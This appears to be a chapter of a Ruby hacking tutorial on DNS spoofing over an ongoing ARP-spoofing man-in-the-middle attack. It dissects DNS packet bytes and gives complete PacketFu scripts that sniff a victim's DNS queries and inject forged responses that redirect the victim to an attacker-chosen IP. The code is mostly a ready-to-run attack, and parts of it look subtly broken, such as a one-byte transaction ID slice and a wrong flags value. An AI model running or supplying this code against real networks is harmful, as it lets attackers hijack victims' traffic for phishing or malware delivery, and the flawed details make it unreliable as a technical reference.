DNS Spoofing

Continuing our attack through ARP Spoofing, we want to change the victim’s DNS request to whatever destination we like.

Scenario

  1. |Attacker|
  2. | AttackerSite
  3. ٧ AttackerSite
  4. |Victim| ----------/ \----------> |Router| ----------> Internet
  5. AnySite AttackerSite

Keep the ARP spoof attack running

The same IPs of ARP spoof attack

Host IP Address
Attacker 192.168.0.100
Victim 192.168.0.21
Router 192.168.0.1

Now we cant intercept DNS Query packet coming from victim’s machine. Since PacketFu supports filters in capturing (to reduce mount of captured packets) we’ll use udp and port 53 and host filter, then we’ll inspect the captured packet to ensure that it’s a query then find the requested domain. Download DNS packet.

From Wireshark, if we take a deeper look at the DNS query payload in Domain Name System (query), we can see its been presented in hexadecimal format.

DNS Spooging - 图1
Figure 1. DNS query Payload

Let’s to anatomize our payload

  1. 0000 e7 1d 01 00 00 01 00 00 00 00 00 00 07 74 77 69
  2. 0010 74 74 65 72 03 63 6f 6d 00 00 01 00 01
  • The First 2 bytes is the Transaction ID and we don’t care about it for now. (Our case: \xe7\x1d)
  • The next 2 bytes is the Flags[^3]. (We need: \x01\x00 = \x10)
  • Furthermore, in Queries section which contains
  1. 0000 07 74 77 69 74 74 65 72 03 63 6f 6d 00 00 01 00
  2. 0010 01
  • The Queries starts at 13 byte of the payload.

    • The 13th byte specifies the length of the domain name before the very first dot (without last dot com or whatever the top domain is). (Our case: \x07)
      Try:[%w{ 74 77 69 74 74 65 72 }.join].pack("H*")

      • Notice The domain name of “twitter.com” equals \x07 but “www.twitter.com” equals \x03 the same consideration for subdomains
      • Each dot after first dot will be replaced with the length of the followed characters

        e.g. www.google.co.uk

        • First length (www) => will be replaced with \x03
        • First dot(.google) => will be replaced with \x06
        • Second dot(.co) => will be replaced with \x02
        • Third dot(.uk) => will be replaced with \x02
    • The very end of the domain name string is terminated by a \x00.

    • The next 2 bytes refers to the type of the query[^4]. (Our case: \x00\x01)

Now what?!

  • We need to start capturing/sniffing on specific interface
  • We need to enable promiscuous mode on our interface
  • We need to capture UDP packets on port 53 only
  • We need parse/analyze the valid UDP packets only
  • We need to make sure this packet is a DNS query
  • We need to get the queried/requested domain
    • We need to know the domain length
    • We need to get the FQDN
  • Build a DNS response
  • Replace the requested domain with any domain we want
  • Re inject the packet into victim connection and send

I’ll divide our tasks then wrap it up in one script

  1. #!/usr/bin/env ruby
  2. #
  3. require 'packetfu'
  4. include PacketFu
  5. #
  6. # * We need to start capturing/sniffing on specific interface
  7. # * We need to enable promiscuous mode on our interface
  8. # * We need to capture UDP packets on port 53 only
  9. #
  10. filter = "udp and port 53 and host " + "192.168.0.21"
  11. capture = Capture.new(:iface => "wlan0",:start => true, :promisc => true, :filter => filter, :save => true)
  12. # * We need to get the queried/requested domain
  13. # * We need to know the domain length
  14. # * We need to get the FQDN
  15. #
  16. # Convert DNS Payload to readable - Find The FQDN
  17. #
  18. def readable(raw_domain)
  19. # Prevent processing non domain
  20. if raw_domain[0].ord == 0
  21. puts "ERROR : THE RAW STARTS WITH 0"
  22. return raw_domain[1..-1]
  23. end
  24. fqdn = ""
  25. length_offset = raw_domain[0].ord
  26. full_length = raw_domain[ 0..length_offset ].length
  27. domain_name = raw_domain[(full_length - length_offset)..length_offset]
  28. while length_offset != 0
  29. fqdn << domain_name + "."
  30. length_offset = raw_domain[full_length].ord
  31. domain_name = raw_domain[full_length + 1..full_length + length_offset]
  32. full_length = raw_domain[0..full_length + length_offset].length
  33. end
  34. return fqdn.chomp!('.')
  35. end
  36. # * We need parse/analyze the valid UDP packets only
  37. # * We need to make sure this packet is a DNS query
  38. #
  39. # Find the DNS packets
  40. #
  41. capture.stream.each do |pkt|
  42. # Make sure we can parse the packet; if we can, parse it
  43. if UDPPacket.can_parse?(pkt)
  44. @packet = Packet.parse(pkt)
  45. # Make sure we have a query packet
  46. dns_query = @packet.payload[2..3].to_s
  47. if dns_query == "\x01\x00"
  48. # Get the domain name into a readable format
  49. domain_name = @packet.payload[12..-1].to_s # FULL QUERY
  50. fqdn = readable(domain_name)
  51. # Ignore non query packet
  52. next if domain_name.nil?
  53. puts "DNS request for: " + fqdn
  54. end
  55. end
  56. end

Till now we successfully finished ARP Spoofing then DNS capturing but still we need to replace/spoof the original response to our domain. e.g. attacker.zone, now we have to build a DNS response instead of spoofed to be sent. So what we need?

  • taking the IP we are going to redirect the user to (the spoofing_ip)
    • converting it into hex using the to_i and pack methods.
  • From there we create a new UDP packet using the data contained in @ourInfo (IP and MAC) and fill in the normal UDP fields.
    • I take most of this information straight from the DNS Query packet.
  • The next step is to create the DNS Response.
    • the best way to understand the code here is to look at a DNS header and then
    • take the bit map of the HEX values and apply them to the header.
    • This will let you see what flags are being set.
  • From here, we just calculate the checksum for the UDP packet and send it out to the target’s machine.
Wireshark
Figure 2. DNS Response Payload
  1. spoofing_ip = "69.171.234.21"
  2. spoofing_ip.split('.').map {|octet| octet.to_i}.pack('c*')
  3. response = UDPPacket.new(:config => PacketFu::Utils.ifconfig("wlan0"))
  4. response.udp_src = packet.udp_dst
  5. response.udp_dst = packet.udp_src
  6. response.ip_saddr = packet.ip_daddr
  7. response.ip_daddr = "192.168.0.21"
  8. response.eth_daddr = "00:0C:29:38:1D:61"

Wrapping up

  1. #!/usr/bin/env ruby
  2. # -*- coding: binary -*-
  3. # Start the capture process
  4. require 'packetfu'
  5. require 'pp'
  6. include PacketFu
  7. def readable(raw_domain)
  8. # Prevent processing non domain
  9. if raw_domain[0].ord == 0
  10. puts "ERROR : THE RAW STARTS WITH 0"
  11. return raw_domain[1..-1]
  12. end
  13. fqdn = ""
  14. length_offset = raw_domain[0].ord
  15. full_length = raw_domain[ 0..length_offset ].length
  16. domain_name = raw_domain[(full_length - length_offset)..length_offset]
  17. while length_offset != 0
  18. fqdn << domain_name + "."
  19. length_offset = raw_domain[full_length].ord
  20. domain_name = raw_domain[full_length + 1 .. full_length + length_offset]
  21. full_length = raw_domain[0 .. full_length + length_offset].length
  22. end
  23. return fqdn.chomp!('.')
  24. end
  25. #
  26. # Send Response
  27. #
  28. def spoof_response(packet, domain)
  29. attackerdomain_name = 'rubyfu.net'
  30. attackerdomain_ip = '54.243.253.221'.split('.').map {|oct| oct.to_i}.pack('c*') # Spoofing IP
  31. # Build UDP packet
  32. response = UDPPacket.new(:config => PacketFu::Utils.ifconfig("wlan0"))
  33. response.udp_src = packet.udp_dst # source port
  34. response.udp_dst = packet.udp_src # destination port
  35. response.ip_saddr = packet.ip_daddr # modem's IP address to be source
  36. response.ip_daddr = packet.ip_saddr # victim's IP address to be destination
  37. response.eth_daddr = packet.eth_saddr # the victim's MAC address
  38. response.payload = packet.payload[0,1] # Transaction ID
  39. response.payload += "\x81\x80" # Flags: Reply code: No error (0)
  40. response.payload += "\x00\x01" # Question: 1
  41. response.payload += "\x00\x00" # Answer RRs: 0
  42. response.payload += "\x00\x00" # Authority RRs: 0
  43. response.payload += "\x00\x00" # Additional RRs: 0
  44. response.payload += attackerdomain_name.split('.').map do |section| # Queries | Name: , Convert domain to DNS style(the opposite of readable method)
  45. [section.size.chr, section.chars.map {|c| '\x%x' % c.ord}.join]
  46. end.join + "\x00"
  47. response.payload += "\x00\x01" # Queries | Type: A (Host address)
  48. response.payload += "\x00\x01" # Queries | Class: IN (0x0001)
  49. response.payload += "\xc0\x0c" # Answer | Name: twitter.com
  50. response.payload += "\x00\x01" # Answer | Type: A (Host address)
  51. response.payload += "\x00\x01" # Answer | Class: IN (0x0001)
  52. response.payload += "\x00\x00\x00\x25" # Answer | Time to live: 37 seconds
  53. response.payload += "\x00\x04" # Answer | Data length: 4
  54. response.payload += attackerdomain_ip # Answer | Addr
  55. response.recalc # Calculate the packet
  56. response.to_w(response.iface) # Send the packet through our interface
  57. end
  58. filter = "udp and port 53 and host " + "192.168.0.21"
  59. @capture = Capture.new(:iface => "wlan0", :start => true, :promisc => true, :filter => filter, :save => true)
  60. # Find the DNS packets
  61. @capture.stream.each do |pkt|
  62. # Make sure we can parse the packet; if we can, parse it
  63. if UDPPacket.can_parse?(pkt)
  64. packet = Packet.parse(pkt)
  65. # Get the offset of the query type: (request=\x01\x00, response=\x81\x80)
  66. dns_query = packet.payload[2..3].to_s
  67. # Make sure we have a dns query packet
  68. if dns_query == "\x01\x00"
  69. # Get the domain name into a readable format
  70. domain_name = packet.payload[12..-1].to_s # FULL DOMAIN
  71. fqdn = readable(domain_name)
  72. # Ignore non query packet
  73. next if domain_name.nil?
  74. puts "DNS request for: " + fqdn
  75. end
  76. # Make sure we have a dns reply packet
  77. if dns_query == "\x81\x80"
  78. domain_name = packet.payload[12..-1].to_s # FULL DOMAIN
  79. fqdn = readable(domain_name)
  80. puts "[*] Start Spoofing: " + fqdn
  81. spoof_response packet, domain_name
  82. end
  83. end
  84. end

https://github.com/SilverFoxx/Spoofa/blob/master/spoofa

Sources[^1] [^2] - The code has been modified and fixed


[^1]: DNS Spoofing Using PacketFu
[^2]: Manipulating The Network with PacketFu
[^3]: DNS Header Flags
| Bit | Flag | Description | Reference |
|:———:|———|———————————|—————-|
| bit 5 | AA | Authoritative Answer | [RFC1035] |
| bit 6 | TC | Truncated Response | [RFC1035] |
| bit 7 | RD | Recursion Desired | [RFC1035] |
| bit 8 | RA | Recursion Allowed | [RFC1035] |
| bit 9 | | Reserved | |
| bit 10 | AD | Authentic Data | [RFC4035] |
| bit 11 | CD | Checking Disabled | [RFC4035] |
[^4]: DNS Lookups Types
| Type | Value | Description |
|:——-:|:——-:|:———————————————————-:|
| A | 1 | IP Address |
| NS | 2 | Name Server |
| CNAME | 5 | Alias of a domain name |
| PTR | 12 | Reverse DNS Lookup using the IP Address |
| HINFO | 13 | Host Information |
| MX | 15 | MX Record |
| AXFR | 252 | Request for Zone Transfer |
| ANY | 255 | Request for All Records |